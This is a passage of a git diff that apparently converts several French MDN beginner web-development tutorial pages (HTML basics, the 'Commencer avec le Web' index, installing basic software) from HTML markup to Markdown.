dans votre document HTML.</p> +Vous pouvez ajouter un titre adapté à votre page avec un de ces éléments. Vous pouvez le placer au-dessus de l'élément {{htmlelement("img")}} dans votre document HTML. -<h3 id="Les_paragraphes">Les paragraphes</h3> +### Les paragraphes -<p>Comme expliqué auparavant, les éléments {{htmlelement("p")}} sont utilisés pour contenir des paragraphes de texte. Vous les utiliserez fréquemment pour placer du texte sur une page :</p> +Comme expliqué auparavant, les éléments {{htmlelement("p")}} sont utilisés pour contenir des paragraphes de texte. Vous les utiliserez fréquemment pour placer du texte sur une page : -<pre class="brush: html"><p>Voici un paragraphe</p></pre> +```html +<p>Voici un paragraphe</p> +``` -<p>Ici, vous pouvez ajouter le texte que vous avez choisi lorsque vous avez décidé <a href="/fr/Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site"><em>à quoi ressemblera votre site web</em></a>. Vous pouvez placer votre texte dans un ou plusieurs paragraphes, directement sous l'élément <img>.</p> +Ici, vous pouvez ajouter le texte que vous avez choisi lorsque vous avez décidé [_à quoi ressemblera votre site web_](/fr/Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site). Vous pouvez placer votre texte dans un ou plusieurs paragraphes, directement sous l'élément \<img>. -<h3 id="Les_listes">Les listes</h3> +### Les listes -<p>Une grande partie du contenu sur le Web est présente sous forme de listes. HTML a donc des éléments utilisés pour représenter ces listes. Le balisage des listes contient toujours au moins deux éléments. Les types de listes utilisés fréquemment sont les listes ordonnées et les listes non-ordonnées :</p> +Une grande partie du contenu sur le Web est présente sous forme de listes. HTML a donc des éléments utilisés pour représenter ces listes. Le balisage des listes contient toujours au moins deux éléments. Les types de listes utilisés fréquemment sont les listes ordonnées et les listes non-ordonnées : -<ol> - <li><strong>Les listes non-ordonnées</strong> sont des listes pour lesquelles l'ordre des éléments n'a pas d'importance (par exemple une liste d'emplettes). La balise utilisée pour ces listes est l'élément {{htmlelement("ul")}} (<strong>ul</strong> signifie <em><strong>u</strong>nordered <strong>l</strong>ist</em> liste non-ordonnée en anglais)</li> - <li><strong>Les listes ordonnées</strong> sont des listes pour lesquelles l'ordre des éléments est important (par exemple une recette). La balise utilisée pour ces listes est l'élément {{htmlelement("ol")}} (<strong>ol</strong> signifie <em><strong>o</strong>rdered <strong>l</strong>ist</em> liste ordonnée en anglais)</li> -</ol> +1. **Les listes non-ordonnées** sont des listes pour lesquelles l'ordre des éléments n'a pas d'importance (par exemple une liste d'emplettes). La balise utilisée pour ces listes est l'élément {{htmlelement("ul")}} (**ul** signifie **\*u**nordered **l**ist\* liste non-ordonnée en anglais) +2. **Les listes ordonnées** sont des listes pour lesquelles l'ordre des éléments est important (par exemple une recette). La balise utilisée pour ces listes est l'élément {{htmlelement("ol")}} (**ol** signifie **\*o**rdered **l**ist\* liste ordonnée en anglais) -<p>Chaque élément d'une liste est balisé avec un élément {{htmlelement("li")}} (<strong>l</strong>ist <strong>i</strong>tem).</p> +Chaque élément d'une liste est balisé avec un élément {{htmlelement("li")}} (**l**ist **i**tem). -<p>Par exemple, si on souhaite modifier un paragraphe en une liste :</p> +Par exemple, si on souhaite modifier un paragraphe en une liste : -<pre class="brush: html"><p>Mozilla est une communauté mondiale composée de technologues, chercheurs, bâtisseurs travaillant ensemble... </p></pre> +```html +<p>Mozilla est une communauté mondiale composée de technologues, chercheurs, bâtisseurs travaillant ensemble... </p> +``` -<p>On pourrait faire :</p> +On pourrait faire : -<pre class="brush: html"><p>Mozilla est une communauté mondiale composée de </p> +```html +<p>Mozilla est une communauté mondiale composée de </p> -<ul> - <li>technologues</li> - <li>chercheurs</li> - <li>bâtisseurs</li> -</ul> +<ul> + <li>technologues</li> + <li>chercheurs</li> + <li>bâtisseurs</li> +</ul> -<p>travaillant ensemble...</p></pre> +<p>travaillant ensemble...</p> +``` -<p><strong>Essayez d'ajouter une liste ordonnée ou non-ordonnée sur votre page. Vous pouvez l'ajouter après l'image.</strong></p> +**Essayez d'ajouter une liste ordonnée ou non-ordonnée sur votre page. Vous pouvez l'ajouter après l'image.** -<h2 id="Les_liens">Les liens</h2> +## Les liens -<p>Les liens sont très importants, ce sont eux qui font que le web est une <strong><em>toile</em></strong> sur laquelle on peut naviguer de page en page. Pour créer un lien, il suffit d'utiliser l'élément {{htmlelement("a")}} (le <em>a</em> est un raccourci pour « <strong>a</strong>ncre »). Pour transformer du texte en un lien, suivez ces étapes :</p> +Les liens sont très importants, ce sont eux qui font que le web est une **_toile_** sur laquelle on peut naviguer de page en page. Pour créer un lien, il suffit d'utiliser l'élément {{htmlelement("a")}} (le _a_ est un raccourci pour « **a**ncre »). Pour transformer du texte en un lien, suivez ces étapes : -<ol> - <li>Choisissez un texte (ici, nous travaillerons avec le texte « Manifeste Mozilla ».</li> - <li>Encadrez le texte dans un élément <a> : - <pre class="brush: html"><a>Manifeste Mozilla</a></pre> - </li> - <li>Fournissez un attribut <code>href</code> pour l'élément <a>, de cette façon : - <pre class="brush: html"><a href="">Manifeste Mozilla</a></pre> - </li> - <li>Dans cet attribut, ajoutez le lien vers le site vers lequel vous voulez diriger les utilisateurs : - <pre class="brush: html"><a href="https://www.mozilla.org/fr/about/manifesto/">Manifeste Mozilla</a></pre> - </li> -</ol> +1. Choisissez un texte (ici, nous travaillerons avec le texte « Manifeste Mozilla ». +2. Encadrez le texte dans un élément \<a> : -<p>Attention à ne pas oublier la partie avec <code>https://</code> ou <code>http://</code> qui représente le <em>protocole</em> utilisé, au début de l'adresse. Une fois que vous avez créé un lien, testez votre page et cliquez dessus pour vous assurer qu'il fonctionne correctement.</p> + ```html + <a>Manifeste Mozilla</a> + ``` -<div class="note"> -<p><strong>Note :</strong> <code>href</code> peut sembler un peu étrange à première vue. Une explication sur l'origine du nom pourra vous aider à mieux vous en souvenir : href correspond à <em><strong>h</strong>ypertext <strong>ref</strong>erence</em> en anglais, ce qui signifie « référence hypertexte » en français.</p> -</div> +3. Fournissez un attribut `href` pour l'élément \<a>, de cette façon : -<p>Si ce n'est pas déjà fait, vous pouvez ajouter un lien sur votre page grâce à ces informations.</p> + ```html + <a href="">Manifeste Mozilla</a> + ``` -<h2 id="Conclusion">Conclusion</h2> +4. Dans cet attribut, ajoutez le lien vers le site vers lequel vous voulez diriger les utilisateurs : -<p>Si vous avez suivi les différentes instructions de cette page, vous devriez obtenir une page qui ressemble à celle-ci (vous pouvez également <a href="http://mdn.github.io/beginner-html-site/">la voir ici</a>) :<br> - <br> - <img alt="A web page screenshot showing a firefox logo, a heading saying mozilla is cool, and two paragraphs of filler text" src="finished-test-page-small.png"></p> + ```html + <a href="https://www.mozilla.org/fr/about/manifesto/">Manifeste Mozilla</a> + ``` -<p>Si vous êtes bloqué, n'hésitez pas à comparer votre travail avec <a href="https://github.com/mdn/beginner-html-site/blob/gh-pages/index.html">l'exemple fini disponible sur GitHub</a>.</p> +Attention à ne pas oublier la partie avec `https://` ou `http://` qui représente le _protocole_ utilisé, au début de l'adresse. Une fois que vous avez créé un lien, testez votre page et cliquez dessus pour vous assurer qu'il fonctionne correctement. -<p>Dans cet article, nous n'avons fait qu'effleurer la surface de HTML. Pour en apprendre plus sur HTML, vous pouvez vous rendre sur la page <a href="/fr/Apprendre/HTML">Apprendre HTML</a>.</p> +> **Note :** `href` peut sembler un peu étrange à première vue. Une explication sur l'origine du nom pourra vous aider à mieux vous en souvenir : href correspond à **\*h**ypertext **ref**erence\* en anglais, ce qui signifie « référence hypertexte » en français. -<p>{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Gérer_les_fichiers", "Apprendre/Commencer_avec_le_web/Les_bases_CSS","Apprendre/Commencer_avec_le_web")}}</p> +Si ce n'est pas déjà fait, vous pouvez ajouter un lien sur votre page grâce à ces informations. -<h2 id="Dans_ce_module">Dans ce module</h2> +## Conclusion -<ul> - <li><a href="/fr/Apprendre/Commencer_avec_le_web/Installation_outils_de_base">Installer les logiciels de base</a></li> - <li><a href="/fr/Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site">Quel aspect pour votre site Web ?</a></li> - <li><a href="/fr/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers">Gérer les fichiers</a></li> - <li><a href="/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_HTML">Bases du HTML</a></li> - <li><a href="/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_CSS">Bases des CSS</a></li> - <li><a href="/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_JavaScript">Bases du JavaScript</a></li> - <li><a href="/fr/Apprendre/Commencer_avec_le_web/Publier_votre_site_web">Publier votre site Web</a></li> - <li><a href="/fr/Apprendre/Commencer_avec_le_web/Le_fonctionnement_du_Web">Comment fonctionne le Web</a></li> -</ul> +Si vous avez suivi les différentes instructions de cette page, vous devriez obtenir une page qui ressemble à celle-ci (vous pouvez également [la voir ici](http://mdn.github.io/beginner-html-site/)) : + + + +Si vous êtes bloqué, n'hésitez pas à comparer votre travail avec [l'exemple fini disponible sur GitHub](https://github.com/mdn/beginner-html-site/blob/gh-pages/index.html). + +Dans cet article, nous n'avons fait qu'effleurer la surface de HTML. Pour en apprendre plus sur HTML, vous pouvez vous rendre sur la page [Apprendre HTML](/fr/Apprendre/HTML). + +{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Gérer_les_fichiers", "Apprendre/Commencer_avec_le_web/Les_bases_CSS","Apprendre/Commencer_avec_le_web")}} + +## Dans ce module + +- [Installer les logiciels de base](/fr/Apprendre/Commencer_avec_le_web/Installation_outils_de_base) +- [Quel aspect pour votre site Web ?](/fr/Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site) +- [Gérer les fichiers](/fr/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers) +- [Bases du HTML](/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_HTML) +- [Bases des CSS](/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_CSS) +- [Bases du JavaScript](/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_JavaScript) +- [Publier votre site Web](/fr/Apprendre/Commencer_avec_le_web/Publier_votre_site_web) +- [Comment fonctionne le Web](/fr/Apprendre/Commencer_avec_le_web/Le_fonctionnement_du_Web) diff --git a/files/fr/learn/getting_started_with_the_web/index.md b/files/fr/learn/getting_started_with_the_web/index.md index 9d4b584ac2..311ec1a5d6 100644 --- a/files/fr/learn/getting_started_with_the_web/index.md +++ b/files/fr/learn/getting_started_with_the_web/index.md @@ -14,48 +14,48 @@ tags: translation_of: Learn/Getting_started_with_the_web original_slug: Apprendre/Commencer_avec_le_web --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}} -<p><em>Commencer avec le Web</em> est une suite concise d'articles vous présentant la pratique du développement web. Vous installerez les outils nécessaires pour construire une simple page web et publier votre code.</p> +_Commencer avec le Web_ est une suite concise d'articles vous présentant la pratique du développement web. Vous installerez les outils nécessaires pour construire une simple page web et publier votre code. -<h2 id="L'histoire_de_votre_premier_site_web">L'histoire de votre premier site web</h2> +## L'histoire de votre premier site web -<p>Créer un site web professionnel nécessite beaucoup de travail. C'est pourquoi, si vous débutez, nous vous encourageons à commencer par quelque chose de simple. Vous n'allez pas bâtir un nouveau Facebook dès le départ, mais il n'est pas bien compliqué de mettre en ligne votre propre site web. C'est par là que nous allons commencer.</p> +Créer un site web professionnel nécessite beaucoup de travail. C'est pourquoi, si vous débutez, nous vous encourageons à commencer par quelque chose de simple. Vous n'allez pas bâtir un nouveau Facebook dès le départ, mais il n'est pas bien compliqué de mettre en ligne votre propre site web. C'est par là que nous allons commencer. -<p>En parcourant les articles listés ci-dessous, vous pourrez créer votre première page web et la mettre en ligne. Allons-y !</p> +En parcourant les articles listés ci-dessous, vous pourrez créer votre première page web et la mettre en ligne. Allons-y ! -<h3 id="Installer_les_outils_de_base"><a href="/fr/Apprendre/Commencer_avec_le_web/Installation_outils_de_base">Installer les outils de base</a></h3> +### [Installer les outils de base](/fr/Apprendre/Commencer_avec_le_web/Installation_outils_de_base) -<p>Beaucoup d'outils sont disponibles afin de construire un site web. Si vous débutez, vous serez peut-être perturbé par la quantité d'éditeurs de code, de "frameworks" ou encore d'outils de tests disponibles. Dans <a href="/fr/Apprendre/Commencer_avec_le_web/Installation_outils_de_base">cet article</a> nous décrivons, pas à pas, comment installer les seuls outils strictement nécessaires afin de développer un site web.</p> +Beaucoup d'outils sont disponibles afin de construire un site web. Si vous débutez, vous serez peut-être perturbé par la quantité d'éditeurs de code, de "frameworks" ou encore d'outils de tests disponibles. Dans [cet article](/fr/Apprendre/Commencer_avec_le_web/Installation_outils_de_base) nous décrivons, pas à pas, comment installer les seuls outils strictement nécessaires afin de développer un site web. -<h3 id="Quel_sera_l'aspect_de_votre_site"><a href="/fr/Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site">Quel sera l'aspect de votre site ?</a></h3> +### [Quel sera l'aspect de votre site ?](/fr/Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site) -<p>Avant de commencer à écrire le code de votre site web, vous devez d'abord le concevoir. Quelles informations choisissez-vous de mettre en avant ? Quelles polices de caractères et quelles couleurs utiliser ? Dans <a href="/fr/Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site">cet article</a>, nous vous proposons une méthode simple pour planifier au mieux le contenu et la conception de votre site.</p> +Avant de commencer à écrire le code de votre site web, vous devez d'abord le concevoir. Quelles informations choisissez-vous de mettre en avant ? Quelles polices de caractères et quelles couleurs utiliser ? Dans [cet article](/fr/Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site), nous vous proposons une méthode simple pour planifier au mieux le contenu et la conception de votre site. -<h3 id="Gestion_des_fichiers"><a href="/fr/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers">Gestion des fichiers</a></h3> +### [Gestion des fichiers](/fr/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers) -<p>Un site web contient plusieurs types de fichiers (texte, code, feuilles de styles, multimedia, etc.). Construire un site web revient à créer une structure dans laquelle ces fichiers peuvent interagir les uns avec les autres. Dans <a href="/fr/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers">cet article</a>, nous détaillerons cette problématique tout en expliquant comment donner une structure cohérente à votre site web.</p> +Un site web contient plusieurs types de fichiers (texte, code, feuilles de styles, multimedia, etc.). Construire un site web revient à créer une structure dans laquelle ces fichiers peuvent interagir les uns avec les autres. Dans [cet article](/fr/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers), nous détaillerons cette problématique tout en expliquant comment donner une structure cohérente à votre site web. -<h3 id="Les_bases_de_HTML"><a href="/fr/Apprendre/Commencer_avec_le_web/Les_bases_HTML">Les bases de HTML</a></h3> +### [Les bases de HTML](/fr/Apprendre/Commencer_avec_le_web/Les_bases_HTML) -<p>Hypertext Markup Language (HTML) correspond au code que vous utiliserez pour structurer les différents contenus en ligne. Par exemple, le contenu sera‑t‑il un ensemble de paragraphes, ou une liste à puces ? Y aura‑t‑il des images insérées ? Aurai‑je une table de données ? Sans vous submerger, <a href="/fr/Apprendre/Commencer_avec_le_web/Les_bases_HTML">Les bases du HTML</a> vous donne assez d'informations pour que vous soyez un familier du HTML.</p> +Hypertext Markup Language (HTML) correspond au code que vous utiliserez pour structurer les différents contenus en ligne. Par exemple, le contenu sera‑t‑il un ensemble de paragraphes, ou une liste à puces ? Y aura‑t‑il des images insérées ? Aurai‑je une table de données ? Sans vous submerger, [Les bases du HTML](/fr/Apprendre/Commencer_avec_le_web/Les_bases_HTML) vous donne assez d'informations pour que vous soyez un familier du HTML. -<h3 id="Les_bases_des_CSS"><a href="/fr/Apprendre/Commencer_avec_le_web/Les_bases_CSS">Les bases des CSS</a></h3> +### [Les bases des CSS](/fr/Apprendre/Commencer_avec_le_web/Les_bases_CSS) -<p>Les <em>Cascading Stylesheets</em> (CSS) (« feuilles de styles en cascade ») reçoivent le code à utiliser pour mettre en forme votre site Web. Par exemple, voulez‑vous que le texte soit en noir ou en rouge ? Où le contenu doit‑il être placé sur l'écran ? Quelles devront être les images de fond et les couleurs utilisées pour décorer votre site web ? <a href="/fr/Apprendre/Commencer_avec_le_web/Les_bases_CSS">« Les bases des CSS »</a> vous apprendra tout ce dont vous avez besoin pour commencer.</p> +Les _Cascading Stylesheets_ (CSS) (« feuilles de styles en cascade ») reçoivent le code à utiliser pour mettre en forme votre site Web. Par exemple, voulez‑vous que le texte soit en noir ou en rouge ? Où le contenu doit‑il être placé sur l'écran ? Quelles devront être les images de fond et les couleurs utilisées pour décorer votre site web ? [« Les bases des CSS »](/fr/Apprendre/Commencer_avec_le_web/Les_bases_CSS) vous apprendra tout ce dont vous avez besoin pour commencer. -<h3 id="Les_bases_de_JavaScript"><a href="/fr/Apprendre/Commencer_avec_le_web/Les_bases_JavaScript">Les bases de JavaScript</a></h3> +### [Les bases de JavaScript](/fr/Apprendre/Commencer_avec_le_web/Les_bases_JavaScript) -<p>JavaScript est le langage de programmation à utiliser pour ajouter des fonctionnalités interactives dans vos sites Web, par exemple des jeux, les événements déclenchés lorsqu'un bouton est pressé ou lorsque des données sont entrées dans un formulaire, des effets de style dynamiques, des animations, etc. <a href="/fr/Apprendre/Commencer_avec_le_web/Les_bases_JavaScript">Les bases de JavaScript</a> vous offrent un aperçu des possibilités de ce puissant langage et vous montre comment commencer à l'utiliser.</p> +JavaScript est le langage de programmation à utiliser pour ajouter des fonctionnalités interactives dans vos sites Web, par exemple des jeux, les événements déclenchés lorsqu'un bouton est pressé ou lorsque des données sont entrées dans un formulaire, des effets de style dynamiques, des animations, etc. [Les bases de JavaScript](/fr/Apprendre/Commencer_avec_le_web/Les_bases_JavaScript) vous offrent un aperçu des possibilités de ce puissant langage et vous montre comment commencer à l'utiliser. -<h3 id="Publier_votre_site_web"><a href="/fr/Apprendre/Commencer_avec_le_web/Publier_votre_site_web">Publier votre site web</a></h3> +### [Publier votre site web](/fr/Apprendre/Commencer_avec_le_web/Publier_votre_site_web) -<p>Une fois votre code écrit et la structure des fichiers organisée, vous devez tout mettre en ligne pour permettre son accès aux autres. <a href="/fr/Apprendre/Commencer_avec_le_web/Publier_votre_site_web">Publier votre site Web</a> décrit comment mettre en ligne votre site web avec un effort minimum.</p> +Une fois votre code écrit et la structure des fichiers organisée, vous devez tout mettre en ligne pour permettre son accès aux autres. [Publier votre site Web](/fr/Apprendre/Commencer_avec_le_web/Publier_votre_site_web) décrit comment mettre en ligne votre site web avec un effort minimum. -<h3 id="Le_fonctionnement_du_Web"><a href="/fr/Apprendre/Commencer_avec_le_web/Le_fonctionnement_du_Web">Le fonctionnement du Web</a></h3> +### [Le fonctionnement du Web](/fr/Apprendre/Commencer_avec_le_web/Le_fonctionnement_du_Web) -<p>Une succession d'opérations complexes, dont vous n'avez pas forcément à vous soucier, intervient chaque fois que vous accédez à votre site Web favori. <a href="/fr/Apprendre/Commencer_avec_le_web/Le_fonctionnement_du_Web">Le fonctionnement du Web</a> décrit ce qui se passe lorsque vous affichez un site web sur votre ordinateur.</p> +Une succession d'opérations complexes, dont vous n'avez pas forcément à vous soucier, intervient chaque fois que vous accédez à votre site Web favori. [Le fonctionnement du Web](/fr/Apprendre/Commencer_avec_le_web/Le_fonctionnement_du_Web) décrit ce qui se passe lorsque vous affichez un site web sur votre ordinateur. -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<p><a href="https://www.youtube.com/playlist?list=PLo3w8EB99pqLEopnunz-dOOBJ8t-Wgt2g">Le Web démystifié </a>: une grande série de vidéos expliquant les fondamentaux du Web, visant à parfaire des débutants dans le développement Web. Créée par <a href="https://twitter.com/JeremiePat">Jérémie Patonnier</a>.</p> +[Le Web démystifié ](https://www.youtube.com/playlist?list=PLo3w8EB99pqLEopnunz-dOOBJ8t-Wgt2g): une grande série de vidéos expliquant les fondamentaux du Web, visant à parfaire des débutants dans le développement Web. Créée par [Jérémie Patonnier](https://twitter.com/JeremiePat). diff --git a/files/fr/learn/getting_started_with_the_web/installing_basic_software/index.md b/files/fr/learn/getting_started_with_the_web/installing_basic_software/index.md index 63af1ab636..a582609752 100644 --- a/files/fr/learn/getting_started_with_the_web/installing_basic_software/index.md +++ b/files/fr/learn/getting_started_with_the_web/installing_basic_software/index.md @@ -12,64 +12,58 @@ tags: translation_of: Learn/Getting_started_with_the_web/Installing_basic_software original_slug: Apprendre/Commencer_avec_le_web/Installation_outils_de_base --- -<div>{{LearnSidebar}}<br> -{{NextMenu("Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site","Apprendre/Commencer_avec_le_web")}}</div> +{{LearnSidebar}} +{{NextMenu("Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site","Apprendre/Commencer_avec_le_web")}} -<p>Dans cet article, nous allons vous montrer les outils dont vous aurez besoin pour développer un site web simple, ainsi que leur installation.</p> +Dans cet article, nous allons vous montrer les outils dont vous aurez besoin pour développer un site web simple, ainsi que leur installation. -<h2 id="Quels_outils_utilisent_les_professionnels">Quels outils utilisent les professionnels ?</h2> +## Quels outils utilisent les professionnels ? -<ul> - <li><strong>Un ordinateur</strong>. Ça peut sembler évident, mais certains d'entre vous lisent cet article depuis leur téléphone ou un terminal de bibliothèque. Pour du développement web sérieux, il est préférable d'investir dans un ordinateur de bureau tournant sous Linux, Mac ou Windows.</li> - <li><strong>Un éditeur de texte</strong>, pour y écrire du code. Cela peut être un éditeur gratuit (ex : <a href="https://code.visualstudio.com/">Visual Studio Code, </a><a href="https://atom.io/">Atom,</a> <a href="https://www.sublimetext.com/">Sublime Text</a> ou <a href="https://notepad-plus-plus.org/">Notepad++</a>) ou un éditeur hybride (<a href="http://www.adobe.com/products/dreamweaver.html">Dreamweaver</a>). Les éditeurs de documents Office ne sont pas adaptés à cette utilisation, car ils reposent sur des éléments cachés qui interfèrent avec les moteurs de rendu utilisés par les navigateurs web.</li> - <li><strong>Un navigateur web</strong>, pour y tester le code. Les navigateurs les plus utilisés sont <a href="https://www.mozilla.org/firefox/new/">Firefox</a>, <a href="https://www.google.com/chrome/browser/">Chrome</a>, <a href="http://www.opera.com/">Opera</a>, <a href="https://www.apple.com/safari/">Safari</a>, <a href="http://windows.microsoft.com/fr-fr/internet-explorer/download-ie">Internet Explorer et </a> <a href="https://www.microsoft.com/en-us/windows/microsoft-edge">Microsoft Edge</a> . Vous devez également tester le fonctionnement de votre site sur les appareils mobiles, et sur tous les anciens navigateurs que votre public cible utilise encore beaucoup (comme IE 8-10).</li> - <li><strong>Un éditeur graphique</strong>, comme <a href="http://www.gimp.org/">GIMP</a>, <a href="http://www.getpaint.net/">Paint.NET</a>, <a href="https://krita.org/">Krita</a> ou <a href="http://www.adobe.com/uk/products/photoshop.html">Photoshop</a> pour réaliser les images de vos pages web.</li> - <li><strong>Un système de contrôle de versions</strong>, pour gérer les fichiers sur le serveur, collaborer sur les projets avec une équipe, partager le code et les ressources et éviter les conflits d'édition. À ce jour, <a href="http://git-scm.com/">Git</a> est l'outil lde contrôle de version le plus connu et le service d'hébergement de code <a href="https://github.com">GitHub</a>, fondé sur Git, est également très populaire<strong>.</strong></li> - <li><strong>Un programme FTP</strong>, utilisé sur les anciens comptes d'hébergement Web pour gérer les fichiers sur les serveurs (<a href="http://git-scm.com/">Git</a> remplace de plus en plus le FTP à cette fin). Il existe une grande quantité de programmes de ce genre comme <a href="https://cyberduck.io/">Cyberduck</a>, <a href="http://fetchsoftworks.com/">Fetch</a> et <a href="https://filezilla-project.org/">FileZilla</a>.</li> - <li><strong>Un système d'automatisation</strong>, comme <a href="http://gruntjs.com/">Grunt</a> ou <a href="http://gulpjs.com/">Gulp</a>, pour automatiser les tâches répétitives, comme minimiser le code, ou lancer des tests.</li> - <li>Des modèles, bibliothèques, frameworks, etc. pour accélérer le développement de fonctionnalités courantes.</li> - <li>Et encore plus d'outils !</li> -</ul> +- **Un ordinateur**. Ça peut sembler évident, mais certains d'entre vous lisent cet article depuis leur téléphone ou un terminal de bibliothèque. Pour du développement web sérieux, il est préférable d'investir dans un ordinateur de bureau tournant sous Linux, Mac ou Windows. +- **Un éditeur de texte**, pour y écrire du code. Cela peut être un éditeur gratuit (ex : [Visual Studio Code, ](https://code.visualstudio.com/)[Atom,](https://atom.io/) [Sublime Text](https://www.sublimetext.com/) ou [Notepad++](https://notepad-plus-plus.org/)) ou un éditeur hybride ([Dreamweaver](http://www.adobe.com/products/dreamweaver.html)). Les éditeurs de documents Office ne sont pas adaptés à cette utilisation, car ils reposent sur des éléments cachés qui interfèrent avec les moteurs de rendu utilisés par les navigateurs web. +- **Un navigateur web**, pour y tester le code. Les navigateurs les plus utilisés sont [Firefox](https://www.mozilla.org/firefox/new/), [Chrome](https://www.google.com/chrome/browser/), [Opera](http://www.opera.com/), [Safari](https://www.apple.com/safari/), [Internet Explorer et ](http://windows.microsoft.com/fr-fr/internet-explorer/download-ie)[Microsoft Edge](https://www.microsoft.com/en-us/windows/microsoft-edge) . Vous devez également tester le fonctionnement de votre site sur les appareils mobiles, et sur tous les anciens navigateurs que votre public cible utilise encore beaucoup (comme IE 8-10). +- **Un éditeur graphique**, comme [GIMP](http://www.gimp.org/), [Paint.NET](http://www.getpaint.net/), [Krita](https://krita.org/) ou [Photoshop](http://www.adobe.com/uk/products/photoshop.html) pour réaliser les images de vos pages web. +- **Un système de contrôle de versions**, pour gérer les fichiers sur le serveur, collaborer sur les projets avec une équipe, partager le code et les ressources et éviter les conflits d'édition. À ce jour, [Git](http://git-scm.com/) est l'outil lde contrôle de version le plus connu et le service d'hébergement de code [GitHub](https://github.com), fondé sur Git, est également très populaire**.** +- **Un programme FTP**, utilisé sur les anciens comptes d'hébergement Web pour gérer les fichiers sur les serveurs ([Git](http://git-scm.com/) remplace de plus en plus le FTP à cette fin). Il existe une grande quantité de programmes de ce genre comme [Cyberduck](https://cyberduck.io/), [Fetch](http://fetchsoftworks.com/) et [FileZilla](https://filezilla-project.org/). +- **Un système d'automatisation**, comme [Grunt](http://gruntjs.com/) ou [Gulp](http://gulpjs.com/), pour automatiser les tâches répétitives, comme minimiser le code, ou lancer des tests. +- Des modèles, bibliothèques, frameworks, etc. pour accélérer le développement de fonctionnalités courantes. +- Et encore plus d'outils ! -<h2 id="De_quels_outils_ai-je_besoin_tout_de_suite">De quels outils ai-je besoin tout de suite ?</h2> +## De quels outils ai-je besoin tout de suite ? -<p>Cette liste peut paraître effrayante, mais heureusement vous pouvez vous lancer dans le développement web sans rien savoir de tout cela. Dans cet article nous allons vous présenter le minimum : un éditeur de texte et quelques navigateurs web modernes.</p> +Cette liste peut paraître effrayante, mais heureusement vous pouvez vous lancer dans le développement web sans rien savoir de tout cela. Dans cet article nous allons vous présenter le minimum : un éditeur de texte et quelques navigateurs web modernes. -<h3 id="Installer_un_éditeur_de_texte">Installer un éditeur de texte</h3> +### Installer un éditeur de texte -<p>Vous avez probablement un éditeur de texte basique sur votre ordinateur. Par défaut Windows propose <a href="https://fr.wikipedia.org/wiki/Bloc-notes_%28Windows%29">Notepad</a> et<a href="https://fr.wikipedia.org/wiki/Bloc-notes_%28Windows%29"> </a>macOS, <a href="https://fr.wikipedia.org/wiki/TextEdit">TextEdit</a>. Pour les distributions Linux cela varie. Ubuntu propose <a href="https://fr.wikipedia.org/wiki/Gedit">gedit</a> par défaut.</p> +Vous avez probablement un éditeur de texte basique sur votre ordinateur. Par défaut Windows propose [Notepad](https://fr.wikipedia.org/wiki/Bloc-notes_%28Windows%29) et[ ](https://fr.wikipedia.org/wiki/Bloc-notes_%28Windows%29)macOS, [TextEdit](https://fr.wikipedia.org/wiki/TextEdit). Pour les distributions Linux cela varie. Ubuntu propose [gedit](https://fr.wikipedia.org/wiki/Gedit) par défaut. -<p>Pour le développement web, vous trouverez surement mieux que Notepad ou TextEdit. Nous vous recommandons de commencer avec <a href="https://code.visualstudio.com/">Visual Studio Code</a>, qui est un éditeur libre offrant des aperçus en direct et des conseils de code. </p> +Pour le développement web, vous trouverez surement mieux que Notepad ou TextEdit. Nous vous recommandons de commencer avec [Visual Studio Code](https://code.visualstudio.com/), qui est un éditeur libre offrant des aperçus en direct et des conseils de code. -<h3 id="Installer_un_navigateur_moderne">Installer un navigateur moderne</h3> +### Installer un navigateur moderne -<p>Pour l'instant, nous n'installerons que deux navigateurs pour y tester notre code. Choisissez votre système d'exploitation ci-dessous et cliquez sur les liens pour télécharger les programmes d'installation correspondants à vos navigateurs favoris :</p> +Pour l'instant, nous n'installerons que deux navigateurs pour y tester notre code. Choisissez votre système d'exploitation ci-dessous et cliquez sur les liens pour télécharger les programmes d'installation correspondants à vos navigateurs favoris : -<ul> - <li>Linux : <a href="https://www.mozilla.org/en-US/firefox/new/">Firefox</a>, <a href="https://www.google.com/chrome/browser/">Chrome</a>, <a href="http://www.opera.com/">Opera</a>.</li> - <li>Windows : <a href="https://www.mozilla.org/en-US/firefox/new/">Firefox</a>, <a href="https://www.google.com/chrome/browser/">Chrome</a>, <a href="http://www.opera.com/">Opera</a>, <a href="http://windows.microsoft.com/en-us/internet-explorer/download-ie">Internet Explorer</a>, <a href="https://www.microsoft.com/en-us/windows/microsoft-edge">Microsoft Edge</a> (Windows 10 est livré avec Edge par défaut, si vous avez Windows 7 ou supérieur, vous pouvez installer Internet Explorer 11, sinon, vous devez installer un autre navigateur).</li> - <li>Mac : <a href="https://www.mozilla.org/en-US/firefox/new/">Firefox</a>, <a href="https://www.google.com/chrome/browser/">Chrome</a>, <a href="http://www.opera.com/">Opera</a>, <a href="https://www.apple.com/safari/">Safari</a> (Safari est proposé sur iOS et macOS par défaut).</li> -</ul> +- Linux : [Firefox](https://www.mozilla.org/en-US/firefox/new/), [Chrome](https://www.google.com/chrome/browser/), [Opera](http://www.opera.com/). +- Windows : [Firefox](https://www.mozilla.org/en-US/firefox/new/), 